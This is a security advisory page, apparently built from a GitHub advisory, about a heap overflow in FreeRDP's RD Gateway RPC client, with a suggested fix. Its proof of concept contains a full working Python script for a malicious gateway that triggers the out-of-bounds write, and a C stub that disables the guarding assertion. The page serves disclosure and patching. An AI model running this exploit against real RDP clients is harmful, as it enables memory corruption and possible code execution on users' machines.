Read the docs

Heap buffer overflow in FreeRDP RD Gateway RPC client

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

FreeRDP up to and including 3.32.1 is affected. The rpc_client_recv_fragment function writes received RPC fragment data at a stream position other than zero after checking only the total capacity, so the write overruns a heap buffer. A malicious or compromised RD Gateway that completes TLS and NLA negotiation can control the write length and content, causing an out-of-bounds write in the client process.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP RD Gateway RPC client heap buffer overflow in rpc_client_recv_fragment ## Summary A malicious or compromised RD Gateway that completes the TLS and NLA security bind and negotiation as a legitimate gateway, and that can arrange the RPC fragment type, order, `frag_length`, `auth_length`, and `alloc_hint` carried on the channel, causes the FreeRDP client to perform a heap buffer out-of-bounds write. The write length and content are controlled by the peer; in the example configuration a single write overruns the 4096-byte buffer by about 3904 bytes. The behavior was checked on the latest commit. ## Technical Details The BIND_ACK and ALTER_CONTEXT_RESP branch of `rpc_client_recv_fragment` writes the received fragment with `Stream_Write(pdu->s, Stream_Buffer(fragment), len)` after calling only `Stream_EnsureCapacity(pdu->s, len)`. `Stream_EnsureCapacity` guarantees only that the total capacity is at least `len`; it does not account for the current position of `pdu->s`, so a write of `len` bytes at a non-zero position exceeds the allocated capacity. The ineffective check is located in `libfreerdp/core/gateway/rpc_client.c`, function `rpc_client_recv_fragment`, lines 547-550 and 520-523. That branch has no `rpc->State` gate and no fragment-type sequence validation. The per-call stream `pdu->s` is persistent across fragments and its position is not reset before that write. In the same function, the RESPONSE non-pipe branch appends `StubLength` bytes with `EnsureRemainingCapacity`; it dispatches and calls `rpc_pdu_reset` only when `response->alloc_hint` equals `StubLength`. When the two differ, the position of `pdu->s` is left at P>0 and `StubFragCount` is incremented, so the position survives into the next fragment. The data flow reaches this state as follows: - `transport_connect` (`libfreerdp/core/transport.c`, lines 605-629) falls back to the TSG path via `rpcFallback` when the RD Gateway HTTP and WebSocket paths fail. - `tsg_connect` (`libfreerdp/core/gateway/tsg.c`, lines 2981-3063) completes the RPC channel and security bind and reaches `CONTEXT_NEGOTIATED`. - `rpc_client_write_call` (`libfreerdp/core/gateway/rpc_client.c`, lines 1080-1103): after negotiation `tsg_proxy_begin` immediately sends `TsProxyCreateTunnel`, registering an `opnum=1` non-pipe call in `ClientCallList`; the call_id is known to the peer from that request. - `rpc_client_recv_fragment` (`libfreerdp/core/gateway/rpc_client.c`, lines 459-491): the RESPONSE non-pipe branch appends `StubLength` bytes and leaves the position at P>0 without a reset when `alloc_hint` differs. - `rpc_client_recv_fragment` (`libfreerdp/core/gateway/rpc_client.c`, lines 539-558): the BIND_ACK/ALTER_CONTEXT_RESP branch calls `Stream_EnsureCapacity(pdu->s, len)` and then writes at the non-zero position, overrunning the heap buffer allocated by `rpc_pdu_new`. ## Impact The client process performs a heap buffer out-of-bounds write whose length and content are controlled by the peer, overrunning the 4096-byte buffer by about 3904 bytes in the example configuration. This is a memory corruption that can serve as a starting point for a stable client crash or arbitrary code execution; the affected asset is the client process memory integrity. ## Proof of Concept Reproduced on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. On a normal checkout of that commit, build the client, then drive it through the RD Gateway/TSG path with certificate verification disabled (`/cert:ignore`) against the crafted gateway. Start the gateway with the command from its usage line: ``` python3 gw_server.py <port> <cert.pem> <key.pem> ``` The gateway performs the TLS handshake with a self-signed certificate, answers RPC_IN_DATA and RPC_OUT_DATA with `401` plus an NTLM type2 challenge, completes the CONN/A3 and CONN/C2 exchanges on the OUT channel, sends a secure BIND_ACK carrying an NTLM CHALLENGE token so the client sends RPC_AUTH_3 and reaches `CONTEXT_NEGOTIATED`, and registers call_id 2 from the client's `TsProxyCreateTunnel` request (`opnum=1`). It then sends two crafted fragments on the OUT channel: 1. a `PTYPE_RESPONSE` with `frag_length=4087` and `alloc_hint=1`, which leaves the position of `pdu->s` at 4055 without a reset; 2. a `PTYPE_BIND_ACK` with `frag_length=4087`. On the run with the capacity assertion active, the client stops in the BIND_ACK handler at the `Stream_GetRemainingCapacity(_s) >= _n` assertion in `Stream_Write` (winpr stream.h line 1191): position 4055, write length 4087, remaining capacity 41. The run records `sink_assert_count=1`, `sink_stream_write_lineref=1`, `client_aborted_on_sink_assert=1`, `client_rc_canonical=134`. With the assertion neutralized through `LD_PRELOAD` of the stub below (equivalent to the assertion being compiled out), the out-of-bounds `memcpy` executes: WinPR reports `wStream API misuse: stream was written out of bounds` (`pointer-buffer=8142 > capacity=4096`) and glibc then aborts with `double free or corruption (!prev)` (`Caught signal Aborted`). Assertion message and backtrace: ```text [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= _n)) [/work/build/source/winpr/include/winpr/stream.h:Stream_Write:1191] [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 3: ... dli_sname=winpr_int_assert [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 4..14: ... libfreerdp3.so.3 [FATAL][com.freerdp.winpr.assert] - [winpr_log_backtrace_ex]: 15: ... dli_sname=freerdp_connect [FATAL][com.freerdp.utils.signal.posix] - [fatal_handler]: Caught signal 'Aborted' [6] ``` `gw_server.py`: ```python #!/usr/bin/env python3 # Malicious RD Gateway speaking the MS-RPCH / NCACN_HTTP RPC transport. # # It drives a real FreeRDP client through the tsg/ncacn_http gateway path # (transport.c -> tsg_connect -> rpc_connect -> rpc_client_recv_fragment) and # then feeds two crafted RPC fragments on the OUT channel: # # 1. a PTYPE_RESPONSE fragment for an already registered call. Its # alloc_hint deliberately differs from the computed StubLength so that # rpc_client_recv_fragment appends the stub to the persistent pdu->s # *without* resetting the stream position (rpc_client_recv_fragment:466-490). # 2. a PTYPE_BIND_ACK fragment. That branch only calls # Stream_EnsureCapacity(pdu->s, len) (which ignores the current position) # and then Stream_Write(pdu->s, ..., len) at the non-zero position # (rpc_client_recv_fragment:539-558), overrunning the 4096 byte heap # buffer allocated in rpc_pdu_new(). # # Handshake implemented (enough for the client to reach CONTEXT_NEGOTIATED): # * TLS with a self-signed cert (client runs with /cert:ignore) # * HTTP RPC_IN_DATA / RPC_OUT_DATA requests with a single NTLM challenge leg # * RTS CONN/A3 and CONN/C2 on the OUT channel # * a valid secure BIND_ACK (with an NTLM CHALLENGE token) so the client # sends RPC_AUTH_3 and moves to RPC_CLIENT_STATE_CONTEXT_NEGOTIATED # * the client's TsProxyCreateTunnel REQUEST registers call_id 2 # # Usage: gw_server.py <port> <cert.pem> <key.pem> import base64 import os import socket import ssl import struct import sys import threading import time PORT = int(sys.argv[1]) CERT = sys.argv[2] KEY = sys.argv[3] LOG_LOCK = threading.Lock() def log(msg): with LOG_LOCK: sys.stderr.write("[gw] %s\n" % msg) sys.stderr.flush() def hexlog(tag, data, limit=64): log("%s (%d bytes): %s%s" % (tag, len(data), data[:limit].hex(), "..." if len(data) > limit else "")) # ---------------------------------------------------------------- NTLM Type 2 def build_ntlm_type2(challenge=b"\x11\x22\x33\x44\x55\x66\x77\x88"): target = "GATEWAY".encode("utf-16-le") def av(av_id, val): return struct.pack("<HH", av_id, len(val)) + val ts = struct.pack("<Q", 0) targetinfo = b"" targetinfo += av(1, "GATEWAY".encode("utf-16-le")) # MsvAvNbComputerName targetinfo += av(2, "DOMAIN".encode("utf-16-le")) # MsvAvNbDomainName targetinfo += av(3, "gateway.domain".encode("utf-16-le")) # MsvAvDnsComputerName targetinfo += av(4, "domain".encode("utf-16-le")) # MsvAvDnsDomainName targetinfo += av(6, struct.pack("<I", 0)) # MsvAvFlags targetinfo += av(7, ts) # MsvAvTimestamp targetinfo += av(0, b"") # MsvAvEOL flags = 0xA0880235 # UNICODE|REQUEST_TARGET|SIGN|SEAL|NTLM|EXT_SESS|TARGET_INFO|128|56 payload_offset = 48 tn_off = payload_offset ti_off = tn_off + len(target) msg = b"NTLMSSP\x00" + struct.pack("<I", 2) msg += struct.pack("<HHI", len(target), len(target), tn_off) msg += struct.pack("<I", flags) msg += challenge msg += b"\x00" * 8 msg += struct.pack("<HHI", len(targetinfo), len(targetinfo), ti_off) msg += target msg += targetinfo return msg # --------------------------------------------------------------- wire helpers def recv_until(sock, marker, limit=262144): data = b"" while marker not in data and len(data) < limit: try: chunk = sock.recv(4096) except Exception: break if not chunk: break data += chunk return data def recv_exact(sock, n): data = b"" while len(data) < n: try: chunk = sock.recv(n - len(data)) except Exception: break if not chunk: break data += chunk return data def http_401(token): b64 = base64.b64encode(token).decode() return ("HTTP/1.1 401 Unauthorized\r\n" "Content-Length: 0\r\n" "WWW-Authenticate: NTLM %s\r\n" "Connection: keep-alive\r\n" "\r\n" % b64).encode() def http_200(): return b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n" def rts_common(ptype, frag_length, auth_length=0, call_id=0, pfc=0x03): return struct.pack("<BBBB", 5, 0, ptype, pfc) + b"\x10\x00\x00\x00" + \ struct.pack("<HHI", frag_length, auth_length, call_id) def pdu_conn_a3(): # RTS common(16) + Flags(2) + NumberOfCommands(2) + ConnectionTimeout cmd(8) body = struct.pack("<HH", 0, 1) + struct.pack("<II", 2, 30) # flags, ncmds; cmdtype, val return rts_common(0x14, 16 + len(body)) + body def pdu_conn_c2(): # RTS common(16) + Flags/NumberOfCommands(4) + Version(8) + RcvWindow(8) + Timeout(8) body = struct.pack("<HH", 0, 3) body += struct.pack("<II", 6, 1) # Version body += struct.pack("<II", 0, 0x10000) # ReceiveWindowSize body += struct.pack("<II", 2, 30) # ConnectionTimeout return rts_common(0x14, 16 + len(body)) + body def pdu_bind_ack(token): # common(16) + max_xmit/max_recv/assoc(8) + port_any len=0(2) + pad(2) # + result_list n=0(4) + sec_trailer(8) + auth_value(token) auth_length = len(token) frag_length = 40 + auth_length hdr = rts_common(0x0C, frag_length, auth_length, call_id=2, pfc=0x13) body = struct.pack("<HHI", 0x0FF8, 0x0FF8, 0) # max_xmit, max_recv, assoc body += struct.pack("<H", 0) # sec_addr.length = 0 body += b"\x00\x00" # align to 4 body += struct.pack("<BBH", 0, 0, 0) # result list, n_results = 0 body += struct.pack("<BBBB", 0x0A, 0x06, 0x00, 0x00) + struct.pack("<I", 0) body += token assert len(body) == frag_length - 16 return hdr + body def pdu_response_evil(frag_length, call_id, alloc_hint, itype=0x0A, ilevel=0x06): # PTYPE_RESPONSE: common(16) + alloc_hint/p_cont/cancel/reserved(8) # rts_read_pdu_response aligns to 8 then rts_read_auth_verifier_with_stub. # auth_length = 0, auth_pad_length = 0 -> sec trailer sits at frag_length-8. hdr = rts_common(0x02, frag_length, 0, call_id=call_id, pfc=0x03) body = struct.pack("<IHBB", alloc_hint, 0, 0, 0) # alloc_hint, p_cont_id, cancel, resv body += b"\x00" * (frag_length - 32) # stub filler up to the trailer body += struct.pack("<BBBB", itype, ilevel, 0x00, 0x00) + struct.pack("<I", 0) assert len(body) == frag_length - 16, (len(body), frag_length - 16) return hdr + body def pdu_bind_ack_evil(frag_length): # PTYPE_BIND_ACK that parses via rts_read_pdu_bind_ack and then is written # with Stream_Write(pdu->s, ..., frag_length) at the poisoned position. # Layout: port_any.length = L, then align(4), result_list(4), padding, # sec trailer at frag_length-8 with auth_pad_length = 4079 - pos_entry. L = 4000 hdr = rts_common(0x0C, frag_length, 0, call_id=2, pfc=0x03) body = struct.pack("<HHI", 0x0FF8, 0x0FF8, 0) # max_xmit, max_recv, assoc body += struct.pack("<H", L) # sec_addr.length = L body += b"\x00" * L # sec_addr.port_spec # current absolute position = 26 + L pos = 26 + L pad = (4 - (pos % 4)) % 4 body += b"\x00" * pad pos += pad body += struct.pack("<BBH", 0, 0, 0) # result list, n_results = 0 pos += 4 expected = frag_length - 8 # auth_length == 0 auth_pad_length = expected - pos assert 0 <= auth_pad_length <= 255, auth_pad_length body += b"\x00" * auth_pad_length body += struct.pack("<BBBB", 0x0A, 0x06, auth_pad_length, 0x00) + struct.pack("<I", 0) assert pos + auth_pad_length + 8 == frag_length, (pos, auth_pad_length, frag_length) return hdr + body # ----------------------------------------------------------------- shared state class State: def __init__(self): self.bind_seen = threading.Event() self.req_seen = threading.Event() self.lock = threading.Lock() self.out_tls = None def send_out(self, data): with self.lock: if self.out_tls is not None: self.out_tls.sendall(data) STATE = State() # --------------------------------------------------------------- connection rx def handle_in(tls): log("IN: waiting for first HTTP request") req1 = recv_until(tls, b"\r\n\r\n") log("IN: request#1 line=%r" % req1.split(b"\r\n", 1)[0]) tls.sendall(http_401(build_ntlm_type2())) log("IN: sent 401 + NTLM type2") req2 = recv_until(tls, b"\r\n\r\n") log("IN: request#2 line=%r" % req2.split(b"\r\n", 1)[0]) # CONN/B1 (frag_length 104) is sent as the body of the second request. b1 = recv_exact(tls, 104) hexlog("IN: CONN/B1", b1, 32) log("IN: CONN/B1 ptype=0x%02x" % b1[2] if len(b1) > 2 else "IN: short B1") buf = b"" while True: hdr = recv_exact(tls, 16) if len(hdr) < 16: log("IN: eof") return vers, minor, ptype, pfc = hdr[0], hdr[1], hdr[2], hdr[3] frag_length, auth_length, call_id = struct.unpack("<HHI", hdr[8:16]) if vers != 5 or frag_length < 16: log("IN: desync hdr=%s" % hdr.hex()) return rest = recv_exact(tls, frag_length - 16) hexlog("IN: PDU ptype=0x%02x len=%d call=%d" % (ptype, frag_length, call_id), hdr + rest, 32) if ptype == 0x0B: # PTYPE_BIND log("IN: BIND received -> signalling bind_seen") STATE.bind_seen.set() elif ptype == 0x10: # PTYPE_RPC_AUTH_3 log("IN: RPC_AUTH_3 received") elif ptype == 0x00: # PTYPE_REQUEST opnum = struct.unpack("<H", rest[6:8])[0] if len(rest) >= 8 else -1 log("IN: REQUEST opnum=%d -> signalling req_seen" % opnum) STATE.req_seen.set() def handle_out(tls): STATE.out_tls = tls log("OUT: waiting for first HTTP request") req1 = recv_until(tls, b"\r\n\r\n") log("OUT: request#1 line=%r" % req1.split(b"\r\n", 1)[0]) tls.sendall(http_401(build_ntlm_type2())) log("OUT: sent 401 + NTLM type2") req2 = recv_until(tls, b"\r\n\r\n") log("OUT: request#2 line=%r" % req2.split(b"\r\n", 1)[0]) tls.sendall(http_200()) log("OUT: sent 200 (out channel ready)") time.sleep(0.2) tls.sendall(pdu_conn_a3()) log("OUT: sent CONN/A3") time.sleep(0.1) tls.sendall(pdu_conn_c2()) log("OUT: sent CONN/C2") if not STATE.bind_seen.wait(10): log("OUT: BIND not observed within 10s") return time.sleep(0.2) tls.sendall(pdu_bind_ack(build_ntlm_type2(b"\xaa\xbb\xcc\xdd\xee\xff\x00\x11"))) log("OUT: sent secure BIND_ACK (NTLM challenge)") if not STATE.req_seen.wait(10): log("OUT: TsProxyCreateTunnel request not observed within 10s; sending anyway") else: time.sleep(0.2) # Poison pdu->s position: RESPONSE with alloc_hint != StubLength (StubLength=4055) frag_len = 4087 resp = pdu_response_evil(frag_len, call_id=2, alloc_hint=1) tls.sendall(resp) log("OUT: sent malicious PTYPE_RESPONSE frag_length=%d (poisons pdu->s position to 4055)" % frag_len) time.sleep(0.2) ack = pdu_bind_ack_evil(frag_len) tls.sendall(ack) log("OUT: sent malicious PTYPE_BIND_ACK frag_length=%d -> heap OOB write at position 4055" % frag_len) time.sleep(3) try: tls.close() except Exception: pass def main(): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(CERT, KEY) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("127.0.0.1", PORT)) s.listen(8) log("listening on 127.0.0.1:%d" % PORT) idx = 0 while True: c, a = s.accept() idx += 1 try: tls = ctx.wrap_socket(c, server_side=True) except Exception as e: log("TLS handshake error from %s: %r" % (a, e)) try: c.close() except Exception: pass continue # determine role from the first request line try: tls.settimeout(15) peeked = recv_until(tls, b"\r\n\r\n") except Exception as e: log("read error: %r" % e) tls.close() continue first = peeked.split(b"\r\n", 1)[0] log("conn #%d: %r" % (idx, first)) if b"RPC_IN_DATA" in first: threading.Thread(target=handle_in, args=(_Replay(tls, peeked),), daemon=True).start() else: threading.Thread(target=handle_out, args=(_Replay(tls, peeked),), daemon=True).start() class _Replay: """Socket-like wrapper that first replays already-received bytes.""" def __init__(self, sock, prefix): self._sock = sock self._buf = prefix def recv(self, n): if self._buf: out, self._buf = self._buf[:n], self._buf[n:] return out return self._sock.recv(n) def sendall(self, data): return self._sock.sendall(data) def settimeout(self, t): return self._sock.settimeout(t) def close(self): return self._sock.close() def handle_out_with(tls, prefix): handle_out(_Replay(tls, prefix)) if __name__ == "__main__": main() ``` `noassert.c`: ```c /* Runtime stub that turns WINPR_ASSERT() into a no-op, emulating a production * NDEBUG build where the debug assertion is compiled out. Used only as a * supplementary instrumentation to observe the write that the prepared Debug * build otherwise traps at stream.h:1191 before memcpy. */ #include <stddef.h> void winpr_int_assert(const char* condstr, const char* file, const char* fkt, size_t line) { (void)condstr; (void)file; (void)fkt; (void)line; } ``` ## Suggested Fix The capacity check in the BIND_ACK/ALTER_CONTEXT_RESP branch of `rpc_client_recv_fragment` must be based on the remaining capacity at the current position of `pdu->s`, not on total capacity. `Stream_EnsureCapacity(pdu->s, len)` currently succeeds whenever `capacity >= len` regardless of position; the branch should ensure that `Stream_GetRemainingCapacity(pdu->s) >= len` before `Stream_Write` (or reset the persistent `pdu->s` before writing). Applying that same position-aware check prevents the write from exceeding the buffer allocated by `rpc_pdu_new`.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-q82v-5wjg-6h57
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-q82v-5wjg-6h57

Remediation

Upgrade FreeRDP to version 3.32.2, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-q82v-5wjg-6h57 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-q82v-5wjg-6h57

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences